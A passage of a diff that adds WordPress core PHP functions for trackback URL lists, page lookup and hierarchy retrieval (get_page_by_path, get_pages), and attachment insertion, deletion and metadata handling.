+	 */
+	return apply_filters( 'get_pung', $pung );
+}
+
+/**
+ * Retrieve URLs that need to be pinged.
+ *
+ * @since 1.5.0
+ * @since 4.7.0 $post_id can be a WP_Post object.
+ *
+ * @param int|WP_Post $post_id Post Object or ID
+ * @return array
+ */
+function get_to_ping( $post_id ) {
+	$post = get_post( $post_id );
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	$to_ping = sanitize_trackback_urls( $post->to_ping );
+	$to_ping = preg_split('/\s/', $to_ping, -1, PREG_SPLIT_NO_EMPTY);
+
+	/**
+	 * Filters the list of URLs yet to ping for the given post.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array $to_ping List of URLs yet to ping.
+	 */
+	return apply_filters( 'get_to_ping', $to_ping );
+}
+
+/**
+ * Do trackbacks for a list of URLs.
+ *
+ * @since 1.0.0
+ *
+ * @param string $tb_list Comma separated list of URLs.
+ * @param int    $post_id Post ID.
+ */
+function trackback_url_list( $tb_list, $post_id ) {
+	if ( ! empty( $tb_list ) ) {
+		// Get post data.
+		$postdata = get_post( $post_id, ARRAY_A );
+
+		// Form an excerpt.
+		$excerpt = strip_tags( $postdata['post_excerpt'] ? $postdata['post_excerpt'] : $postdata['post_content'] );
+
+		if ( strlen( $excerpt ) > 255 ) {
+			$excerpt = substr( $excerpt, 0, 252 ) . '&hellip;';
+		}
+
+		$trackback_urls = explode( ',', $tb_list );
+		foreach ( (array) $trackback_urls as $tb_url ) {
+			$tb_url = trim( $tb_url );
+			trackback( $tb_url, wp_unslash( $postdata['post_title'] ), $excerpt, $post_id );
+		}
+	}
+}
+
+//
+// Page functions
+//
+
+/**
+ * Get a list of page IDs.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return array List of page IDs.
+ */
+function get_all_page_ids() {
+	global $wpdb;
+
+	$page_ids = wp_cache_get('all_page_ids', 'posts');
+	if ( ! is_array( $page_ids ) ) {
+		$page_ids = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE post_type = 'page'");
+		wp_cache_add('all_page_ids', $page_ids, 'posts');
+	}
+
+	return $page_ids;
+}
+
+/**
+ * Retrieves page data given a page ID or page object.
+ *
+ * Use get_post() instead of get_page().
+ *
+ * @since 1.5.1
+ * @deprecated 3.5.0 Use get_post()
+ *
+ * @param mixed  $page   Page object or page ID. Passed by reference.
+ * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                       a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @param string $filter Optional. How the return value should be filtered. Accepts 'raw',
+ *                       'edit', 'db', 'display'. Default 'raw'.
+ * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
+ */
+function get_page( $page, $output = OBJECT, $filter = 'raw') {
+	return get_post( $page, $output, $filter );
+}
+
+/**
+ * Retrieves a page given its path.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string       $page_path Page path.
+ * @param string       $output    Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                                a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @param string|array $post_type Optional. Post type or array of post types. Default 'page'.
+ * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
+ */
+function get_page_by_path( $page_path, $output = OBJECT, $post_type = 'page' ) {
+	global $wpdb;
+
+	$last_changed = wp_cache_get_last_changed( 'posts' );
+
+	$hash = md5( $page_path . serialize( $post_type ) );
+	$cache_key = "get_page_by_path:$hash:$last_changed";
+	$cached = wp_cache_get( $cache_key, 'posts' );
+	if ( false !== $cached ) {
+		// Special case: '0' is a bad `$page_path`.
+		if ( '0' === $cached || 0 === $cached ) {
+			return;
+		} else {
+			return get_post( $cached, $output );
+		}
+	}
+
+	$page_path = rawurlencode(urldecode($page_path));
+	$page_path = str_replace('%2F', '/', $page_path);
+	$page_path = str_replace('%20', ' ', $page_path);
+	$parts = explode( '/', trim( $page_path, '/' ) );
+	$parts = array_map( 'sanitize_title_for_query', $parts );
+	$escaped_parts = esc_sql( $parts );
+
+	$in_string = "'" . implode( "','", $escaped_parts ) . "'";
+
+	if ( is_array( $post_type ) ) {
+		$post_types = $post_type;
+	} else {
+		$post_types = array( $post_type, 'attachment' );
+	}
+
+	$post_types = esc_sql( $post_types );
+	$post_type_in_string = "'" . implode( "','", $post_types ) . "'";
+	$sql = "
+		SELECT ID, post_name, post_parent, post_type
+		FROM $wpdb->posts
+		WHERE post_name IN ($in_string)
+		AND post_type IN ($post_type_in_string)
+	";
+
+	$pages = $wpdb->get_results( $sql, OBJECT_K );
+
+	$revparts = array_reverse( $parts );
+
+	$foundid = 0;
+	foreach ( (array) $pages as $page ) {
+		if ( $page->post_name == $revparts[0] ) {
+			$count = 0;
+			$p = $page;
+
+			/*
+			 * Loop through the given path parts from right to left,
+			 * ensuring each matches the post ancestry.
+			 */
+			while ( $p->post_parent != 0 && isset( $pages[ $p->post_parent ] ) ) {
+				$count++;
+				$parent = $pages[ $p->post_parent ];
+				if ( ! isset( $revparts[ $count ] ) || $parent->post_name != $revparts[ $count ] )
+					break;
+				$p = $parent;
+			}
+
+			if ( $p->post_parent == 0 && $count+1 == count( $revparts ) && $p->post_name == $revparts[ $count ] ) {
+				$foundid = $page->ID;
+				if ( $page->post_type == $post_type )
+					break;
+			}
+		}
+	}
+
+	// We cache misses as well as hits.
+	wp_cache_set( $cache_key, $foundid, 'posts' );
+
+	if ( $foundid ) {
+		return get_post( $foundid, $output );
+	}
+}
+
+/**
+ * Retrieve a page given its title.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string       $page_title Page title
+ * @param string       $output     Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                                 a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @param string|array $post_type  Optional. Post type or array of post types. Default 'page'.
+ * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
+ */
+function get_page_by_title( $page_title, $output = OBJECT, $post_type = 'page' ) {
+	global $wpdb;
+
+	if ( is_array( $post_type ) ) {
+		$post_type = esc_sql( $post_type );
+		$post_type_in_string = "'" . implode( "','", $post_type ) . "'";
+		$sql = $wpdb->prepare( "
+			SELECT ID
+			FROM $wpdb->posts
+			WHERE post_title = %s
+			AND post_type IN ($post_type_in_string)
+		", $page_title );
+	} else {
+		$sql = $wpdb->prepare( "
+			SELECT ID
+			FROM $wpdb->posts
+			WHERE post_title = %s
+			AND post_type = %s
+		", $page_title, $post_type );
+	}
+
+	$page = $wpdb->get_var( $sql );
+
+	if ( $page ) {
+		return get_post( $page, $output );
+	}
+}
+
+/**
+ * Identify descendants of a given page ID in a list of page objects.
+ *
+ * Descendants are identified from the `$pages` array passed to the function. No database queries are performed.
+ *
+ * @since 1.5.1
+ *
+ * @param int   $page_id Page ID.
+ * @param array $pages   List of page objects from which descendants should be identified.
+ * @return array List of page children.
+ */
+function get_page_children( $page_id, $pages ) {
+	// Build a hash of ID -> children.
+	$children = array();
+	foreach ( (array) $pages as $page ) {
+		$children[ intval( $page->post_parent ) ][] = $page;
+	}
+
+	$page_list = array();
+
+	// Start the search by looking at immediate children.
+	if ( isset( $children[ $page_id ] ) ) {
+		// Always start at the end of the stack in order to preserve original `$pages` order.
+		$to_look = array_reverse( $children[ $page_id ] );
+
+		while ( $to_look ) {
+			$p = array_pop( $to_look );
+			$page_list[] = $p;
+			if ( isset( $children[ $p->ID ] ) ) {
+				foreach ( array_reverse( $children[ $p->ID ] ) as $child ) {
+					// Append to the `$to_look` stack to descend the tree.
+					$to_look[] = $child;
+				}
+			}
+		}
+	}
+
+	return $page_list;
+}
+
+/**
+ * Order the pages with children under parents in a flat list.
+ *
+ * It uses auxiliary structure to hold parent-children relationships and
+ * runs in O(N) complexity
+ *
+ * @since 2.0.0
+ *
+ * @param array $pages   Posts array (passed by reference).
+ * @param int   $page_id Optional. Parent page ID. Default 0.
+ * @return array A list arranged by hierarchy. Children immediately follow their parents.
+ */
+function get_page_hierarchy( &$pages, $page_id = 0 ) {
+	if ( empty( $pages ) ) {
+		return array();
+	}
+
+	$children = array();
+	foreach ( (array) $pages as $p ) {
+		$parent_id = intval( $p->post_parent );
+		$children[ $parent_id ][] = $p;
+	}
+
+	$result = array();
+	_page_traverse_name( $page_id, $children, $result );
+
+	return $result;
+}
+
+/**
+ * Traverse and return all the nested children post names of a root page.
+ *
+ * $children contains parent-children relations
+ *
+ * @since 2.9.0
+ *
+ * @see _page_traverse_name()
+ *
+ * @param int   $page_id   Page ID.
+ * @param array $children  Parent-children relations (passed by reference).
+ * @param array $result    Result (passed by reference).
+ */
+function _page_traverse_name( $page_id, &$children, &$result ){
+	if ( isset( $children[ $page_id ] ) ){
+		foreach ( (array)$children[ $page_id ] as $child ) {
+			$result[ $child->ID ] = $child->post_name;
+			_page_traverse_name( $child->ID, $children, $result );
+		}
+	}
+}
+
+/**
+ * Build the URI path for a page.
+ *
+ * Sub pages will be in the "directory" under the parent page post name.
+ *
+ * @since 1.5.0
+ * @since 4.6.0 Converted the `$page` parameter to optional.
+ *
+ * @param WP_Post|object|int $page Optional. Page ID or WP_Post object. Default is global $post.
+ * @return string|false Page URI, false on error.
+ */
+function get_page_uri( $page = 0 ) {
+	if ( ! $page instanceof WP_Post ) {
+		$page = get_post( $page );
+	}
+
+	if ( ! $page )
+		return false;
+
+	$uri = $page->post_name;
+
+	foreach ( $page->ancestors as $parent ) {
+		$parent = get_post( $parent );
+		if ( $parent && $parent->post_name ) {
+			$uri = $parent->post_name . '/' . $uri;
+		}
+	}
+
+	/**
+	 * Filters the URI for a page.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string  $uri  Page URI.
+	 * @param WP_Post $page Page object.
+	 */
+	return apply_filters( 'get_page_uri', $uri, $page );
+}
+
+/**
+ * Retrieve a list of pages (or hierarchical post type items).
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @since 1.5.0
+ *
+ * @param array|string $args {
+ *     Optional. Array or string of arguments to retrieve pages.
+ *
+ *     @type int          $child_of     Page ID to return child and grandchild pages of. Note: The value
+ *                                      of `$hierarchical` has no bearing on whether `$child_of` returns
+ *                                      hierarchical results. Default 0, or no restriction.
+ *     @type string       $sort_order   How to sort retrieved pages. Accepts 'ASC', 'DESC'. Default 'ASC'.
+ *     @type string       $sort_column  What columns to sort pages by, comma-separated. Accepts 'post_author',
+ *                                      'post_date', 'post_title', 'post_name', 'post_modified', 'menu_order',
+ *                                      'post_modified_gmt', 'post_parent', 'ID', 'rand', 'comment_count'.
+ *                                      'post_' can be omitted for any values that start with it.
+ *                                      Default 'post_title'.
+ *     @type bool         $hierarchical Whether to return pages hierarchically. If false in conjunction with
+ *                                      `$child_of` also being false, both arguments will be disregarded.
+ *                                      Default true.
+ *     @type array        $exclude      Array of page IDs to exclude. Default empty array.
+ *     @type array        $include      Array of page IDs to include. Cannot be used with `$child_of`,
+ *                                      `$parent`, `$exclude`, `$meta_key`, `$meta_value`, or `$hierarchical`.
+ *                                      Default empty array.
+ *     @type string       $meta_key     Only include pages with this meta key. Default empty.
+ *     @type string       $meta_value   Only include pages with this meta value. Requires `$meta_key`.
+ *                                      Default empty.
+ *     @type string       $authors      A comma-separated list of author IDs. Default empty.
+ *     @type int          $parent       Page ID to return direct children of. Default -1, or no restriction.
+ *     @type string|array $exclude_tree Comma-separated string or array of page IDs to exclude.
+ *                                      Default empty array.
+ *     @type int          $number       The number of pages to return. Default 0, or all pages.
+ *     @type int          $offset       The number of pages to skip before returning. Requires `$number`.
+ *                                      Default 0.
+ *     @type string       $post_type    The post type to query. Default 'page'.
+ *     @type string|array $post_status  A comma-separated list or array of post statuses to include.
+ *                                      Default 'publish'.
+ * }
+ * @return array|false List of pages matching defaults or `$args`.
+ */
+function get_pages( $args = array() ) {
+	global $wpdb;
+
+	$defaults = array(
+		'child_of'     => 0,
+		'sort_order'   => 'ASC',
+		'sort_column'  => 'post_title',
+		'hierarchical' => 1,
+		'exclude'      => array(),
+		'include'      => array(),
+		'meta_key'     => '',
+		'meta_value'   => '',
+		'authors'      => '',
+		'parent'       => -1,
+		'exclude_tree' => array(),
+		'number'       => '',
+		'offset'       => 0,
+		'post_type'    => 'page',
+		'post_status'  => 'publish',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$number = (int) $r['number'];
+	$offset = (int) $r['offset'];
+	$child_of = (int) $r['child_of'];
+	$hierarchical = $r['hierarchical'];
+	$exclude = $r['exclude'];
+	$meta_key = $r['meta_key'];
+	$meta_value = $r['meta_value'];
+	$parent = $r['parent'];
+	$post_status = $r['post_status'];
+
+	// Make sure the post type is hierarchical.
+	$hierarchical_post_types = get_post_types( array( 'hierarchical' => true ) );
+	if ( ! in_array( $r['post_type'], $hierarchical_post_types ) ) {
+		return false;
+	}
+
+	if ( $parent > 0 && ! $child_of ) {
+		$hierarchical = false;
+	}
+
+	// Make sure we have a valid post status.
+	if ( ! is_array( $post_status ) ) {
+		$post_status = explode( ',', $post_status );
+	}
+	if ( array_diff( $post_status, get_post_stati() ) ) {
+		return false;
+	}
+
+	// $args can be whatever, only use the args defined in defaults to compute the key.
+	$key = md5( serialize( wp_array_slice_assoc( $r, array_keys( $defaults ) ) ) );
+	$last_changed = wp_cache_get_last_changed( 'posts' );
+
+	$cache_key = "get_pages:$key:$last_changed";
+	if ( $cache = wp_cache_get( $cache_key, 'posts' ) ) {
+		// Convert to WP_Post instances.
+		$pages = array_map( 'get_post', $cache );
+		/** This filter is documented in wp-includes/post.php */
+		$pages = apply_filters( 'get_pages', $pages, $r );
+		return $pages;
+	}
+
+	$inclusions = '';
+	if ( ! empty( $r['include'] ) ) {
+		$child_of = 0; //ignore child_of, parent, exclude, meta_key, and meta_value params if using include
+		$parent = -1;
+		$exclude = '';
+		$meta_key = '';
+		$meta_value = '';
+		$hierarchical = false;
+		$incpages = wp_parse_id_list( $r['include'] );
+		if ( ! empty( $incpages ) ) {
+			$inclusions = ' AND ID IN (' . implode( ',', $incpages ) .  ')';
+		}
+	}
+
+	$exclusions = '';
+	if ( ! empty( $exclude ) ) {
+		$expages = wp_parse_id_list( $exclude );
+		if ( ! empty( $expages ) ) {
+			$exclusions = ' AND ID NOT IN (' . implode( ',', $expages ) .  ')';
+		}
+	}
+
+	$author_query = '';
+	if ( ! empty( $r['authors'] ) ) {
+		$post_authors = preg_split( '/[\s,]+/', $r['authors'] );
+
+		if ( ! empty( $post_authors ) ) {
+			foreach ( $post_authors as $post_author ) {
+				//Do we have an author id or an author login?
+				if ( 0 == intval($post_author) ) {
+					$post_author = get_user_by('login', $post_author);
+					if ( empty( $post_author ) ) {
+						continue;
+					}
+					if ( empty( $post_author->ID ) ) {
+						continue;
+					}
+					$post_author = $post_author->ID;
+				}
+
+				if ( '' == $author_query ) {
+					$author_query = $wpdb->prepare(' post_author = %d ', $post_author);
+				} else {
+					$author_query .= $wpdb->prepare(' OR post_author = %d ', $post_author);
+				}
+			}
+			if ( '' != $author_query ) {
+				$author_query = " AND ($author_query)";
+			}
+		}
+	}
+
+	$join = '';
+	$where = "$exclusions $inclusions ";
+	if ( '' !== $meta_key || '' !== $meta_value ) {
+		$join = " LEFT JOIN $wpdb->postmeta ON ( $wpdb->posts.ID = $wpdb->postmeta.post_id )";
+
+		// meta_key and meta_value might be slashed
+		$meta_key = wp_unslash($meta_key);
+		$meta_value = wp_unslash($meta_value);
+		if ( '' !== $meta_key ) {
+			$where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_key = %s", $meta_key);
+		}
+		if ( '' !== $meta_value ) {
+			$where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_value = %s", $meta_value);
+		}
+
+	}
+
+	if ( is_array( $parent ) ) {
+		$post_parent__in = implode( ',', array_map( 'absint', (array) $parent ) );
+		if ( ! empty( $post_parent__in ) ) {
+			$where .= " AND post_parent IN ($post_parent__in)";
+		}
+	} elseif ( $parent >= 0 ) {
+		$where .= $wpdb->prepare(' AND post_parent = %d ', $parent);
+	}
+
+	if ( 1 == count( $post_status ) ) {
+		$where_post_type = $wpdb->prepare( "post_type = %s AND post_status = %s", $r['post_type'], reset( $post_status ) );
+	} else {
+		$post_status = implode( "', '", $post_status );
+		$where_post_type = $wpdb->prepare( "post_type = %s AND post_status IN ('$post_status')", $r['post_type'] );
+	}
+
+	$orderby_array = array();
+	$allowed_keys = array( 'author', 'post_author', 'date', 'post_date', 'title', 'post_title', 'name', 'post_name', 'modified',
+		'post_modified', 'modified_gmt', 'post_modified_gmt', 'menu_order', 'parent', 'post_parent',
+		'ID', 'rand', 'comment_count' );
+
+	foreach ( explode( ',', $r['sort_column'] ) as $orderby ) {
+		$orderby = trim( $orderby );
+		if ( ! in_array( $orderby, $allowed_keys ) ) {
+			continue;
+		}
+
+		switch ( $orderby ) {
+			case 'menu_order':
+				break;
+			case 'ID':
+				$orderby = "$wpdb->posts.ID";
+				break;
+			case 'rand':
+				$orderby = 'RAND()';
+				break;
+			case 'comment_count':
+				$orderby = "$wpdb->posts.comment_count";
+				break;
+			default:
+				if ( 0 === strpos( $orderby, 'post_' ) ) {
+					$orderby = "$wpdb->posts." . $orderby;
+				} else {
+					$orderby = "$wpdb->posts.post_" . $orderby;
+				}
+		}
+
+		$orderby_array[] = $orderby;
+
+	}
+	$sort_column = ! empty( $orderby_array ) ? implode( ',', $orderby_array ) : "$wpdb->posts.post_title";
+
+	$sort_order = strtoupper( $r['sort_order'] );
+	if ( '' !== $sort_order && ! in_array( $sort_order, array( 'ASC', 'DESC' ) ) ) {
+		$sort_order = 'ASC';
+	}
+
+	$query = "SELECT * FROM $wpdb->posts $join WHERE ($where_post_type) $where ";
+	$query .= $author_query;
+	$query .= " ORDER BY " . $sort_column . " " . $sort_order ;
+
+	if ( ! empty( $number ) ) {
+		$query .= ' LIMIT ' . $offset . ',' . $number;
+	}
+
+	$pages = $wpdb->get_results($query);
+
+	if ( empty($pages) ) {
+		/** This filter is documented in wp-includes/post.php */
+		$pages = apply_filters( 'get_pages', array(), $r );
+		return $pages;
+	}
+
+	// Sanitize before caching so it'll only get done once.
+	$num_pages = count($pages);
+	for ($i = 0; $i < $num_pages; $i++) {
+		$pages[$i] = sanitize_post($pages[$i], 'raw');
+	}
+
+	// Update cache.
+	update_post_cache( $pages );
+
+	if ( $child_of || $hierarchical ) {
+		$pages = get_page_children($child_of, $pages);
+	}
+
+	if ( ! empty( $r['exclude_tree'] ) ) {
+		$exclude = wp_parse_id_list( $r['exclude_tree'] );
+		foreach ( $exclude as $id ) {
+			$children = get_page_children( $id, $pages );
+			foreach ( $children as $child ) {
+				$exclude[] = $child->ID;
+			}
+		}
+
+		$num_pages = count( $pages );
+		for ( $i = 0; $i < $num_pages; $i++ ) {
+			if ( in_array( $pages[$i]->ID, $exclude ) ) {
+				unset( $pages[$i] );
+			}
+		}
+	}
+
+	$page_structure = array();
+	foreach ( $pages as $page ) {
+		$page_structure[] = $page->ID;
+	}
+
+	wp_cache_set( $cache_key, $page_structure, 'posts' );
+
+	// Convert to WP_Post instances
+	$pages = array_map( 'get_post', $pages );
+
+	/**
+	 * Filters the retrieved list of pages.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $pages List of pages to retrieve.
+	 * @param array $r     Array of get_pages() arguments.
+	 */
+	return apply_filters( 'get_pages', $pages, $r );
+}
+
+//
+// Attachment functions
+//
+
+/**
+ * Determines whether an attachment URI is local and really an attachment.
+ *
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.0.0
+ *
+ * @param string $url URL to check
+ * @return bool True on success, false on failure.
+ */
+function is_local_attachment($url) {
+	if (strpos($url, home_url()) === false)
+		return false;
+	if (strpos($url, home_url('/?attachment_id=')) !== false)
+		return true;
+	if ( $id = url_to_postid($url) ) {
+		$post = get_post($id);
+		if ( 'attachment' == $post->post_type )
+			return true;
+	}
+	return false;
+}
+
+/**
+ * Insert an attachment.
+ *
+ * If you set the 'ID' in the $args parameter, it will mean that you are
+ * updating and attempt to update the attachment. You can also set the
+ * attachment name or title by setting the key 'post_name' or 'post_title'.
+ *
+ * You can set the dates for the attachment manually by setting the 'post_date'
+ * and 'post_date_gmt' keys' values.
+ *
+ * By default, the comments will use the default settings for whether the
+ * comments are allowed. You can close them manually or keep them open by
+ * setting the value for the 'comment_status' key.
+ *
+ * @since 2.0.0
+ * @since 4.7.0 Added the `$wp_error` parameter to allow a WP_Error to be returned on failure.
+ *
+ * @see wp_insert_post()
+ *
+ * @param string|array $args     Arguments for inserting an attachment.
+ * @param string       $file     Optional. Filename.
+ * @param int          $parent   Optional. Parent post ID.
+ * @param bool         $wp_error Optional. Whether to return a WP_Error on failure. Default false.
+ * @return int|WP_Error The attachment ID on success. The value 0 or WP_Error on failure.
+ */
+function wp_insert_attachment( $args, $file = false, $parent = 0, $wp_error = false ) {
+	$defaults = array(
+		'file'        => $file,
+		'post_parent' => 0
+	);
+
+	$data = wp_parse_args( $args, $defaults );
+
+	if ( ! empty( $parent ) ) {
+		$data['post_parent'] = $parent;
+	}
+
+	$data['post_type'] = 'attachment';
+
+	return wp_insert_post( $data, $wp_error );
+}
+
+/**
+ * Trash or delete an attachment.
+ *
+ * When an attachment is permanently deleted, the file will also be removed.
+ * Deletion removes all post meta fields, taxonomy, comments, etc. associated
+ * with the attachment (except the main post).
+ *
+ * The attachment is moved to the trash instead of permanently deleted unless trash
+ * for media is disabled, item is already in the trash, or $force_delete is true.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int  $post_id      Attachment ID.
+ * @param bool $force_delete Optional. Whether to bypass trash and force deletion.
+ *                           Default false.
+ * @return WP_Post|false|null Post data on success, false or null on failure.
+ */
+function wp_delete_attachment( $post_id, $force_delete = false ) {
+	global $wpdb;
+
+	$post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id ) );
+
+	if ( ! $post ) {
+		return $post;
+	}
+
+	$post = get_post( $post );
+
+	if ( 'attachment' !== $post->post_type ) {
+		return false;
+	}
+
+	if ( ! $force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' !== $post->post_status ) {
+		return wp_trash_post( $post_id );
+	}
+
+	delete_post_meta($post_id, '_wp_trash_meta_status');
+	delete_post_meta($post_id, '_wp_trash_meta_time');
+
+	$meta = wp_get_attachment_metadata( $post_id );
+	$backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );
+	$file = get_attached_file( $post_id );
+
+	if ( is_multisite() )
+		delete_transient( 'dirsize_cache' );
+
+	/**
+	 * Fires before an attachment is deleted, at the start of wp_delete_attachment().
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int $post_id Attachment ID.
+	 */
+	do_action( 'delete_attachment', $post_id );
+
+	wp_delete_object_term_relationships($post_id, array('category', 'post_tag'));
+	wp_delete_object_term_relationships($post_id, get_object_taxonomies($post->post_type));
+
+	// Delete all for any posts.
+	delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
+
+	wp_defer_comment_counting( true );
+
+	$comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ));
+	foreach ( $comment_ids as $comment_id ) {
+		wp_delete_comment( $comment_id, true );
+	}
+
+	wp_defer_comment_counting( false );
+
+	$post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $post_id ));
+	foreach ( $post_meta_ids as $mid )
+		delete_metadata_by_mid( 'post', $mid );
+
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'delete_post', $post_id );
+	$result = $wpdb->delete( $wpdb->posts, array( 'ID' => $post_id ) );
+	if ( ! $result ) {
+		return false;
+	}
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'deleted_post', $post_id );
+
+	wp_delete_attachment_files( $post_id, $meta, $backup_sizes, $file );
+
+	clean_post_cache( $post );
+
+	return $post;
+}
+
+/**
+ * Deletes all files that belong to the given attachment.
+ *
+ * @since 4.9.7
+ *
+ * @param int    $post_id      Attachment ID.
+ * @param array  $meta         The attachment's meta data.
+ * @param array  $backup_sizes The meta data for the attachment's backup images.
+ * @param string $file         Absolute path to the attachment's file.
+ * @return bool True on success, false on failure.
+ */
+function wp_delete_attachment_files( $post_id, $meta, $backup_sizes, $file ) {
+	global $wpdb;
+
+	$uploadpath = wp_get_upload_dir();
+	$deleted    = true;
+
+	if ( ! empty( $meta['thumb'] ) ) {
+		// Don't delete the thumb if another attachment uses it.
+		if ( ! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id ) ) ) {
+			$thumbfile = str_replace( basename( $file ), $meta['thumb'], $file );
+			if ( ! empty( $thumbfile ) ) {
+				$thumbfile = path_join( $uploadpath['basedir'], $thumbfile );
+				$thumbdir  = path_join( $uploadpath['basedir'], dirname( $file ) );
+
+				if ( ! wp_delete_file_from_directory( $thumbfile, $thumbdir ) ) {
+					$deleted = false;
+				}
+			}
+		}
+	}
+
+	// Remove intermediate and backup images if there are any.
+	if ( isset( $meta['sizes'] ) && is_array( $meta['sizes'] ) ) {
+		$intermediate_dir = path_join( $uploadpath['basedir'], dirname( $file ) );
+		foreach ( $meta['sizes'] as $size => $sizeinfo ) {
+			$intermediate_file = str_replace( basename( $file ), $sizeinfo['file'], $file );
+			if ( ! empty( $intermediate_file ) ) {
+				$intermediate_file = path_join( $uploadpath['basedir'], $intermediate_file );
+
+				if ( ! wp_delete_file_from_directory( $intermediate_file, $intermediate_dir ) ) {
+					$deleted = false;
+				}
+			}
+		}
+	}
+
+	if ( is_array( $backup_sizes ) ) {
+		$del_dir = path_join( $uploadpath['basedir'], dirname( $meta['file'] ) );
+		foreach ( $backup_sizes as $size ) {
+			$del_file = path_join( dirname( $meta['file'] ), $size['file'] );
+			if ( ! empty( $del_file ) ) {
+				$del_file = path_join( $uploadpath['basedir'], $del_file );
+
+				if ( ! wp_delete_file_from_directory( $del_file, $del_dir ) ) {
+					$deleted = false;
+				}
+			}
+		}
+	}
+
+	if ( ! wp_delete_file_from_directory( $file, $uploadpath['basedir'] ) ) {
+		$deleted = false;
+	}
+
+	return $deleted;
+}
+
+/**
+ * Retrieve attachment meta field for attachment ID.
+ *
+ * @since 2.1.0
+ *
+ * @param int  $attachment_id Attachment post ID. Defaults to global $post.
+ * @param bool $unfiltered    Optional. If true, filters are not run. Default false.
+ * @return mixed Attachment meta field. False on failure.
+ */
+function wp_get_attachment_metadata( $attachment_id = 0, $unfiltered = false ) {
+	$attachment_id = (int) $attachment_id;
+	if ( ! $post = get_post( $attachment_id ) ) {
+		return false;
+	}
+
+	$data = get_post_meta( $post->ID, '_wp_attachment_metadata', true );
+
+	if ( $unfiltered )
+		return $data;
+
+	/**
+	 * Filters the attachment meta data.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array|bool $data          Array of meta data for the given attachment, or false
+	 *                                  if the object does not exist.
+	 * @param int        $attachment_id Attachment post ID.
+	 */
+	return apply_filters( 'wp_get_attachment_metadata', $data, $post->ID );
+}
+
+/**
+ * Update metadata for an attachment.
+ *
+ * @since 2.1.0
+ *
+ * @param int   $attachment_id Attachment post ID.
+ * @param array $data          Attachment meta data.
+ * @return int|bool False if $post is invalid.
+ */
+function wp_update_attachment_metadata( $attachment_id, $data ) {
+	$attachment_id = (int) $attachment_id;
+	if ( ! $post = get_post( $attachment_id ) ) {
+		return false;
+	}
+
+	/**
+	 * Filters the updated attachment meta data.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $data          Array of updated attachment meta data.
+	 * @param int   $attachment_id Attachment post ID.
+	 */
+	if ( $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ) )
+		return update_post_meta( $post->ID, '_wp_attachment_metadata', $data );
+	else
+		return delete_post_meta( $post->ID, '_wp_attachment_metadata' );
+}
+
+/**
+ * Retrieve the URL for an attachment.
+ *
+ * @since 2.1.0
+ *
+ * @global string $pagenow
+ *
+ * @param int $attachment_id Optional. Attachment post ID. Defaults to global $post.
+ * @return string|false Attachment URL, otherwise false.
+ */
+function wp_get_attachment_url( $attachment_id = 0 ) {
+	$attachment_id = (int) $attachment_id;
+	if ( ! $post = get_post( $attachment_id ) ) {
+		return false;
+	}
+
+	if ( 'attachment' != $post->post_type )
+		return false;
+
+	$url = '';
+	// Get attached file.
+	if ( $file = get_post_meta( $post->ID, '_wp_attached_file', true ) ) {
+		// Get upload directory.
+		if ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) {
+			// Check that the upload base exists in the file location.
+			if ( 0 === strpos( $file, $uploads['basedir'] ) ) {
+				// Replace file location with url location.
+				$url = str_replace($uploads['basedir'], $uploads['baseurl'], $file);
+			} elseif ( false !== strpos($file, 'wp-content/uploads') ) {
+				// Get the directory name relative to the basedir (back compat for pre-2.7 uploads)
+				$url = trailingslashit( $uploads['baseurl'] . '/' . _wp_get_attachment_relative_path( $file ) ) . basename( $file );
+			} else {
+				// It's a newly-uploaded file, therefore $file is relative to the basedir.
+				$url = $uploads['baseurl'] . "/$file";
+			}
+		}
+	}
+
+	/*
+	 * If any of the above options failed, Fallback on the GUID as used pre-2.7,
+	 * not recommended to rely upon this.
+	 */
